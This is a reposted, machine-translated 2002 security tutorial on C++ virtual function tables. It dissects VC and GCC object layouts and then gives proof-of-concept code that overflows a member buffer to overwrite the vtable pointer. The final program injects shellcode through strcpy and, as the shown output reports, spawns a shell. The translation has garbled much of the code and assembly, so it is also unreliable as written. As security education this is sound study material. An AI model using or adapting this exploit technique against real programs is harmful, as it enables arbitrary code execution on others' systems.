◆ Code execution by overwriting the virtual function pointer list in C ++

Source: Internet
Author: User

◆ Overflow overwrites the virtual function pointer list in C ++ for executionCode

Author: watercloud
Home: http://www.nsfocus.com
Date: 2002-4-15


Directory:

1. Static and Dynamic Association of virtual functions in C ++
2. Space Organization and overflow test of objects in VC
3. Space Organization and overflow test of objects in GCC
4. Reference

<1> Static and Dynamic Association of virtual functions in C ++

A magic weapon in C ++ is virtual functions. Simply put, it is a function defined with the virtual keyword.
It supports dynamic Association. Nowadays, large software developed by C ++ is almost inseparable from virtual functions.
A typical example is that virtual functions are one of the cornerstones of MFC.

There are two concepts that need to be explained first:

Static Association: In generalProgramDetermine the address of the call target during compilation.
Dynamic concatenation: the address of the call target is determined during the program running stage.

In C ++, common function calls are static concatenation, but if the virtual key is added during function definition
When calling a function through a pointer or reference, dynamic Association is used.

A simple example:
// Test. cpp
# Include <iostream. h>
Class classa
{
Public:
Int num1;
Classa () {num1 = 0 xFFFF ;};
Virtual void test1 (void ){};
Virtual void Test2 (void ){};
};
Classa obja, * pobja;

Int main (void)
{
Pobja = & obja;
Obja. test1 ();
Obja. Test2 ();
Pobja-> test1 ();
Pobja-> Test2 ();
Return 0;
}


Compile with VC:
Open a command line and directly call CL in the command line for compiling: (if you do not select the registration environment when installing VC
Variable, run bin \ vcvars32.bat in the VC directory on the command line first)

CL test. CPP/FA
Generate the test. ASM intermediate assembly code

Next, let's take a look at the xuanxu in ASM. It's a little long to analyze and be patient!

Let's take a look:

Data Definition:

_ BSS segment
? Obja @ 3vclassa @ a dq 01 h dup (?) ; Obja 64-bit
? Pobja @ 3pavclassa @ a DD 01 h dup (?) Pobja: A 32-bit address
_ BSS ends

We can see that the value of obja is 64-bit. What content is stored in it? Next let's look at the constructor:

_ This $=-4
?? 0classa @ Qae @ xz proc near; classa: classa () defines a Variable _ this ?!
; File test. cpp
; Line 6
Push EBP
MoV EBP, ESP
Push ECx
MoV dword ptr _ this $ [EBP], ECx; ECx is assigned to _ this ?? Don't understand ??

MoV eax, dword ptr _ this $ [EBP]
MoV dword ptr [eax], offset flat :?? _ 7classa @ 6B @
; Classa: 'vftable'

The previous part is the stuff added by the compiler, and our assignment is here

MoV ECx, dword ptr _ this $ [EBP]
MoV dword ptr [ECx + 4], 65535; 0 xFFFF num1 = 0 xFFFF;
_ This + 4 indicates the num1 address.

MoV eax, dword ptr _ this $ [EBP]
MoV ESP, EBP
Pop EBP
RET 0
?? 0classa Qae @ xz endp

The _ this and mov dword ptr _ this $ [EBP], ECx is depressing. Don't rush to see what
Constructor called:

_ $ E9 proc near
; File test. cpp
; Line 10
Push EBP
MoV EBP, ESP
MoV ECx, offset flat :? Obja @ 3vclassa @
Call ?? 0classa @ Qae @ xz; call classa: classa ()
Pop EBP
RET 0
_ $ E9 endp

Look, ECx points to the obja address. by assigning a value, the _ this is the start address of the obja. In fact, in the class
This variable is automatically added to the non-static method compiler during compilation, and the ECX
Assign it to the address of the object that calls the method.

So what are the two rows in the constructor?
MoV eax, dword ptr _ this $ [EBP]
MoV dword ptr [eax], offset flat :?? _ 7classa @ 6B @
; Classa: 'vftable'

We already know that _ this stores the object address: & obja. So eax = & obja
Then it is equivalent to (* eax) = offset flat :?? _ 7classa @ 6B @

Come and see ?? _ 7classa @ 6B @ which channel is mixed:

Const segment
?? _ 7classa @ 6B @
Dd flat :? Test1 @ classa @ uaexxz; classa: 'vftable'
Dd flat :? Test2 @ classa @ uaexxz
Const ends

It seems that test1 () and Test2 () are stored here! Then this value is assigned:
MoV dword ptr [eax], offset flat :?? _ 7classa @ 6B @
; Classa: 'vftable'
Enter the address of this address list in the starting address of the object.

Now we have seen the structure of obja:

| Low address |
+ -------- + ---> Start address of obja & obja
| Pvftable |
+ -------- + ------------------------- +
| Num1 | space of the num1 variable |
+ -------- + ---> End address of obja + ---> + -------------- + Address Table vftable
| High address | Address of test1 () |
+ -------------- +
| Address of Test2 () |
+ -------------- +

Let's take a look at the main function:
_ Main proc near
; Line 13
Push EBP
MoV EBP, ESP
; Line 14
MoV dword ptr? Pobja @ 3pavclassa @,
Offset flat :? Obja @ 3vclassa @ A; pobja = & obja

; Line 15
MoV ECx, offset flat :? Obja @ 3vclassa @ A; ECx = This pointer
; Pointing to the caller's address
Call? Test1 @ classa @ uaexxz; obja. test1 ()
; Obja. test1 () is called directly, and the address has been determined.
; Line 16
MoV ECx, offset flat :? Obja @ 3vclassa @
Call? Test2 @ classa @ uaexxz; obja. Test2 ()
; Line 17
MoV eax, dword ptr? Pobja @ 3pavclassa @ A; pobja
MoV edX, dword ptr [eax]; edX = vftable
MoV ECx, dword ptr? Pobja @ 3pavclassa @ A; pobja
Call dword ptr [edX];
Call vftable [0], that is, pobja-> test1 (). The address is dynamically searched ;)
                                                                

; Line 18
MoV eax, dword ptr? Pobja @ 3pavclassa @ A; pobja
MoV edX, dword ptr [eax]
MoV ECx, dword ptr? Pobja @ 3pavclassa @ A; pobja
Call dword ptr [edX + 4]; pobja-> Test2 ()
Call vftable [1], while vftable [1] stores the Test2 () entry address.
; Line 19
XOR eax, eax
; Line 20
Pop EBP
RET 0
_ Main endp

Now, I believe that you have been deeply impressed with the dynamic Association.

<2> space organization and overflow test of objects in VC

Through the above analysis, we can summarize the object space organization as follows:

| Low address |
+ ---------- + ---> Obja start address & obja
| Pvftable | ---------------------> +
+ ---------- + |
| Member variables |
+ ---------- + ---> End address of obja + ---> + -------------- + Address Table vftable
| High address | Address of virtual function 1 |
+ -------------- +
| Address of virtual function 2 |
+ -------------- +
| ...... |

We can see that if we can override pvtable and construct a vftable table of our own, dynamic Association makes
We can change the program process!

Here is an overflow test:
First write a program to see
# Include <iostream. h>
Class classex
{
};
Int buff [1];
Classex obj1, obj2, * pobj;

Int main (void)
{
Cout <buff <":" <& obj1 <":" <& obj2 <":" <& pobj <Endl;
Return 0;
}

The result of compiling and running with Cl is:
0x00408998: 0x00408990: 0x00408991: 0x00408994
The compiler puts the buff address behind it!
Modify the program and change the variable:
Classex obj1, obj2, * pobj;
Int buff [1];
The results are the same !! No, it's VC!
It seems that it is not easy to overwrite data ;)
You can only overwrite obj2 through obj1 overflow.

// Ex_vc.cpp
# Include <iostream. h>
Class classex
{
Public:
Int buff [1];
Virtual void test (void) {cout <"classex: Test ()" <Endl ;};
};
VoidEntry(Void)
{
Cout <"why a u here ?! "<Endl;
};

Classex obj1, obj2, * pobj;

Int main (void)
{

Pobj = & obj2;
Obj2.test ();

Int vtab [1] = {(INT)Entry}; // Construct a vtab,
//EntryEntry address
Obj1.buff [1] = (INT) vtab; // obj1.buff [1] is the pvftable domain of obj2
// The address of the function pointer list is modified to vtab.
Pobj-> test ();
Return 0;
}

Compile Cl ex_vc.cpp

Running result:
Classex: Test ()
Why a u here ?!

Test environment: vc6

We have modified the Program Execution Process ^_^.

Usually, we may not use javasaul for programming, but if we use BC/VC and use
Library, in fact, we have already used a lot of virtual functions. In the future, you should be careful when writing programs, a variable that is not reserved.
Assignment may be endless. // Start to figure out whether many systems contain programs written by VC ....

<3> space organization and overflow test of objects in GCC

We have analyzed many details under VC just now, so let's see if there is anything wrong with GCC.
Same! The analysis method is the same, that is, write test. cpp and use gcc-s test. cpp to compile the Assembly file.
Test. s and analyze test. S. We can get a lot of details.

Through analysis, we can see that:

The object address space structure in GCC is as follows:

| Low address |
+ --------------- + Start address of the object
|
| Member variable space |
|
+ --------------- +
| Pvftable | -----------> + ------------------ + vftable
+ --------------- + | 0 |
| High address | + ------------------ +
| XXXXXXXX |
+ ------------------ +
| 0 |
+ ----------------- +
| Entry address of virtual function 1 |
+ ------------------ +
| 0 |
+ ----------------- +
| Entry address of virtual function 2 |
+ ------------------ +
| ...... |

Haha, we can see that GCC has a very big advantage, that is, the member variable in pvftable
Previously, if the overflow member variable value is assigned, pvftable can be overwritten, which is much more convenient than VC!

To write an overflow test program:

// Test. cpp
# Include <iostream. h>
Class classtest
{
Public:
Long buff [1]; // The size is 1
Virtual void test (void)
{
Cout <"classtest test ()" <Endl;
}
};

VoidEntry(Void)
{
Cout <"Why are u here ?! "<Endl;
}

Int main (void)
{
Classtest A, * P = &;
Long ADDR [] = {0, 0, (long)Entry}; // Created virtual function table
// Test ()->Entry()

A. Buff [1] = (long) ADDR; // overflow, operating the virtual function list pointer
A. Test (); // static join, no problem
P-> test (); // for dynamic join, go to our function table to find the address,
// The result is a function call.Entry()

}

Compile: GCC test. cpp-lstdc ++
Execution result:
Bash-2.05 #./A. Out
Classtest test ()
Why are u here ?!

Test procedure description:

Specifically, after gcc-s test. cpp generates test. s, there is such a section:
. Section. GNU. linkonce. D. _ VT $9 classtest, "aw", @ progbits
. P2align 2
. Type _ VT $9 classtest, @ object
. Size _ VT $9 classtest, 24
_ VT $9 classtest:
. Value 0
. Value 0
. Long _ tf9classtest
. Value 0
. Value 0
. Long test _ 9 classtest ---------- +
. Zero 8 |
. Comm _ ti9classtest, 8, 4 |
|
|
Test () address <---- +

This is the content in its virtual function list.

The test () address is in 3rd (long) address spaces.

So when we construct ADDR:

Long ADDR [] = {0, 0, (long)Entry};

Overwrite the address of the test () functionEntry() Address

P-> test ()
Then we ran to the address table we built and took it.EntryIs running

Test Environment FreeBSD 4.4
GCC 2.95.3

Here is a real test:
Overwrite pvftable through overflow, and the period points to a self-constructed
Vftable, and let the virtual function address of vftable point to our shellcode
To get a shell.

# Include <iostream. h>
# Include <stdio. h>
Class classbase // define a base class
{
Public:
Char buff [128];
Void setbuffer (char * s)
{
Strcpy (buff, S );
};
Virtual void printbuffer (void) {}; // virtual function
};

Class classa: Public classbase
{
Public:
Void printbuffer (void)
{
Cout <"name:" <buff <Endl;
};
};

Class classb: Public classbase
{
Public:
Void printbuffer (void)
{
Cout <"the text:" <buff <Endl;
};
};

Char buffer [512], * PC;
Long * PL = (long *) buffer;
Long ADDR = 0 xbfbffabc; // It is & B ^ _ * on my machine _*
Char shellcode [] = "1 \ xc0ph // Shh/bint [ppss4; \ XCD \ X80 ";
Int I;

Int main (void)
{
Classa;
Classb B;
Classbase * classbuff [2] = {& A, & B };

A. setbuffer ("Tom ");
B. setbuffer ("Hello! This is world of C ++ .");

For (I = 0; I <2; I ++) // the usual method in C ++,
// When a pointer to a base class points to an upper class Object
// Use a virtual function of the High-level class
Classbuff [I]-> printbuffer (); // normal usage

cout <& A <":" <& B // modify the ADDR value if the values on your machine are different!
// construct a special buff for B. setbuffer
// construct a vftable at the beginning
pl [0] = 0 xaaaaaaaa; // fill 1
pl [1] = 0 xaaaaaaaa; // fill 2
pl [2] = 0 xaaaaaaaa; // fill 3
pl [3] = ADDR + 16; // The virtual function printbuffer entry address
// points to the shell code
Pc = buffer + 16;
strcpy (PC, shellcode );
PC + = strlen (shellcode);

For (; PC-buffer <128; * PC ++ = 'A'); // fill

PL = (long *) PC;
* PL = ADDR; // overwrite pvftable to point it to the list we constructed

B. setbuffer (buffer); // overflow.

// Try again
For (I = 0; I <2; I ++)
Classbuff [I]-> printbuffer (); // classbuffer [1]. printbuffer
// A shell comes out.

Return 0;
}

Bash-2.05 $./A. Out
Name: Tom
The text: Hello! This is world of C ++.
0xbfbffb44: 0 xbfbffabc
Name:
$ <------ Haha, success

Note:

ADDR = & B that is & B. Buff [0]

B. setbuffer (buffer)
B. Buff overflows, covering 128 + 4 + 1 address.
The memory structure is as follows:

& B. Buff [0] is also & B
^
|
|
[Fill 1 | fill 2 | fill 3 | ADDR + 16 | shellcode | fill | ADDR | \ 0]
____ ^ ___
|
|
| + --- + |
|
+ ---------------> 128 <-------------- + |
|
Here, the pvftable item is overwritten as ADDR <--- +

Now, at the beginning of B. Buff [0], we have built our own virtual
Function table. The entry address of the virtual function is the address of shellcode!

This article is just a guiding text, there are many
You need to analyze the details.
As the saying goes, do it yourself *_&

<4> reference

Phrack56 # <smashing C ++ vptrs>

Look at the axe!

_ Watercloud __

Watercloud@nsfocus.com)

2002-4-15

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.